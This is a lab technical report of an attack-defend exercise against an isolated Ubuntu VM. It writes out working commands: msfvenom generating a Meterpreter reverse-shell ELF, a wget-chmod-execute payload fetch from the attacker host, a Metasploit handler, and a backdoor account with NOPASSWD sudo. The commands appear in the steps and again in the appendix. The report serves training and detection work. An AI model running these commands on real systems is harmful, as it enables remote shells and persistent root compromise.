Attack-Defend Lab — Technical Report

Author: *Bobo Nikolov (Ethical Hacker)*
Date: 27-10-2025
Status: In Progress (Defender phase / SecurityOnion next)

Objective

Build an isolated attacker ↔ victim lab to demonstrate a realistic end-to-end intrusion: reconnaissance, initial access, execution, persistence, and privilege escalation. The planned follow-up is to deploy a defender (SecurityOnion) to ingest telemetry and author detection rules.

Architecture & Scope

Environment (isolated lab, snapshotted for repeatability):

lab_attacker — Kali Linux (labnet/NAT) — 10.10.10.10 lab_victim

— Ubuntu Linux (intnet) — 10.10.10.20

Network — Internal (isolated) only

Snapshots created before testing and reverted after evidence capture

Note: All activity performed on VM images under my control. No external networks were targeted.

Reconnaissance

Network and service discovery were performed against the victim to identify potential attack surfaces. The primary command used (sanitized) was: `nmap -sS -sV 10.10.10.20`

Findings: SSH (22/tcp) and HTTP (80/tcp) were exposed on the target. This informed payload delivery options.

Initial Access & Execution

Summary:
A small Linux Meterpreter ELF payload was generated on the attacker host, served via a temporary HTTP server, fetched and executed on the victim, and a Metasploit multi/handler accepted the incoming session.

Key steps and commands (sanitized)

1. Payload generation (attacker):

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10
LPORT=4444 -f elf -o shell32.elf
```

2. Host payload (attacker):

```
python3 -m http.server 8000 --bind 10.10.10.10
```

3. Fetch & execute (victim):

```
wget http://10.10.10.10:8000/shell32.elf -O /tmp/shell && chmod +x
/tmp/shell && /tmp/shell
```

4. Handler (attacker - Metasploit):

```
use exploit/multi/handler set PAYLOAD
linux/x64/meterpreter/reverse_tcp set LHOST
10.10.10.10 set LPORT 4444 exploit -j
```

Evidence: The sequence produced a successful Meterpreter session (interactive shell proof captured). Screenshots and terminal captures were used to validate each step during artifact collection.

Persistence

Summary:
To create a realistic persistence artifact for the defender phase, a benign backdoor account was created and a sudoers NOPASSWD entry added. This simulates attacker persistence that escalates impact.

Commands executed (lab-only, sanitized): `sudo`

```
useradd -m -s /bin/bash backdoor_user
```

```
echo 'backdoor_user:P@ssword123!' | sudo chpasswd
```

```
echo 'backdoor_user ALL=(ALL) NOPASSWD:ALL' | sudo tee
/etc/sudoers.d/backdoor_user
sudo chmod 440 /etc/sudoers.d/backdoor_user
```

Note: These actions were documented and captured as artifacts. The snapshot was reverted after evidence collection.

Privilege Escalation

Summary:

After gaining an interactive shell, a local privilege escalation check was performed. This validated the potential impact and confirmed full control during the test. Evidence includes interactive 'whoami' / 'id' outputs demonstrating root.

Typical verification commands (sanitized):

```
whoami id
sudo /bin/bash
```

Analysis & Findings

The lab demonstrates common, high-risk operational patterns:

- Unrestricted host egress allows simple HTTP-based payload delivery (wget/curl).
- Execution of downloaded binaries with minimal checks (chmod +x && run) is a major risk.
- Creation of sudoers entries is an obvious persistence vector that may bypass credential controls.

Lessons Learned & Mitigations Takeaways:

Restrict outbound HTTP/FTP to approved hosts and inspect requests for unusual file downloads.

Monitor system changes: new user creation, /etc/sudoers.d additions, and unexpected chmod +x events.

Harden systems: remove unnecessary SUID binaries, enforce patch management and least privilege.

Recommended prioritized mitigations:

1. Block unneeded inbound services and enforce network segmentation.
2. Enforce least-privilege administrative workflows and require MFA for privileged accounts.
3. Instrument endpoints (auditd/sysmon) and aggregate logs into a SIEM; alert for indicators such as new sudoers files or unexpected binary downloads.
4. Add egress filtering rules to prevent direct HTTP payload fetches from untrusted hosts.

Next steps / Roadmap Planned

follow-ups:

SecurityOnion integration: deploy sensor/manager, ingest Zeek/Suricata + host telemetry, re-run scenario, collect detection telemetry.

Detection engineering: author Sigma/Suricata rules and SIEM searches (Splunk/SO) for the scenario.

Lateral movement expansion: add a second internal host for network-based detection (optional future iteration).

Appendix — Commands & Quick Reference

```
nmap -sS -sV 10.10.10.20
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10
LPORT=4444 -f elf -o shell32.elf python3 -m http.server 8000 --
bind 10.10.10.10 wget http://10.10.10.10:8000/shell32.elf -O
/tmp/shell && chmod +x
/tmp/shell && /tmp/shell
sudo useradd -m -s /bin/bash backdoor_user
```